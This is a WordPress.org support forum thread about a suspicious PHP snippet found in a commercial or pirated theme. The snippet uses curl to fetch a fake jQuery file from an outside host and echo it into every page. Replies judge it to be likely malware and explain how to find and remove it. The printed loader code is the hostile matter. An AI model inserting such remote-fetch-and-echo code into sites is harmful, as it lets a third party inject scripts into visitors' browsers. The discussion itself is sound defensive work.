WordPress.org

Ready to get started?Download WordPress

Forums

[resolved] What does this function do? (curl_init) (10 posts)

  1. asharperrazor
    Member
    Posted 2 years ago #

    Hi,
    Thanks in advance for the help.

    I'm trying hard to speed up my website's loading speed. It appeared that I was loading 2 versions of jquery. While I could move one to the footer, it seems the second is part of a plugin.

    Either case, I went ahead and deleted the following code from my theme. Doesn't appear anything happened, but I'm afraid I might have broke something important.

    <?php
    if(function_exists('curl_init'))
    {
     $url = "http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js";
     $ch = curl_init();
     $timeout = 5;
     curl_setopt($ch,CURLOPT_URL,$url);
     curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
     curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
     $data = curl_exec($ch);
     curl_close($ch);
     echo "$data";
    }
    ?>

    What exactly does it do?

  2. keesiemeijer
    moderator
    Posted 2 years ago #

    It tries to get content from "http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js".

    This is not the normal way to include jQuery in a theme. You can never be sure what content is in "jquery-1.6.3.min.js". It can also be malicious code. I would switch to another theme if I were you.

  3. asharperrazor
    Member
    Posted 2 years ago #

    Well, it appears that freefilesblog.com is a CDN for Elegant Themes, which makes perfect sense since that's who the template is from. Although the host is pretty crappy during some hours.

    How would I know if I broke anything by removing the line of code?

    http://www.asharperrazor.com

  4. keesiemeijer
    moderator
    Posted 2 years ago #

    which makes perfect sense since that's who the template is from.

    No it doesn't. They could just as easily link to the file itself or the google jquery CDN, using wp_enqueue_script() or a normal link in the header.
    http://codex.wordpress.org/Function_Reference/wp_enqueue_script

    How would I know if I broke anything by removing the line of code?

    If your site doesn't function the way it's supposed to.

    Since this is a commercial theme with its own functionality and support system, I recommend you contact the theme developer for assistance: https://www.elegantthemes.com/forum/

  5. itouchtek
    Member
    Posted 2 years ago #

    Its malicious code , malware , stop downloading warez themes, you giving the guy who put the code ranking and traffic, remove the code
    more info

    BE WARNED...they pull jquery from a site called: http://www.4llw4d.freefilesblog.com.

    It takes like 30 seconds to load the sites...elegant themes do NOT run like this normally.

    here another blogger spotted this problem...
    READ:
    http://www.buildablogg.com/wordpress/httpwww-4llw4d-freefilesblog-comjquery-1-6-3-min-js/

    Anyways..yea..use TwentyEleven or free themes, or pay for elegant themes..god only knows how these ripped off themes were modded..

  6. freshlesh3
    Member
    Posted 2 years ago #

    Not sure thats true. I purchased my version and I have that same JS function as well. Not sure if its malicious but its definitely in the commercial copy I have.

  7. keesiemeijer
    moderator
    Posted 2 years ago #

    As I said before, this is not a normal way to include jQuery, which is included in every WordPress install. Most of the time when themes include jQuery this way it comes with some malicious or altered code. Ask the theme vendor why they include it this way.

  8. freshlesh3
    Member
    Posted 2 years ago #

    Ill investigate it more, def don't want hackers on my site, but for now its in test mode. I appreciate the heads up and will ask the dev team what it is for. Thanks keesiemeijer

  9. dom9360
    Member
    Posted 2 years ago #

    You can safely remove this code in question without it impacting your website.

  10. rootdesignarg
    Member
    Posted 1 year ago #

    I did the following to solve this problem:
    I downloaded the theme folder (as the problem comes from it)
    I opened the notepad++ (freeware software)
    Click in search>search in files
    And when it says "folder" I entered as a path the folder of the theme ( this will make a specific search in a whole folder )
    I searched the name of the false jquery "jquery-1.6.3.min.js"
    and in my particular case, that was in \nameofthetheme\include\plugin\post.php

    I eliminated the external path and upload this file to ftp

    Problem solved!

    Hope it helps

    For any questions , mail me : javs.gtr@gmail.com

Topic Closed

This topic has been closed to new replies.

About this Topic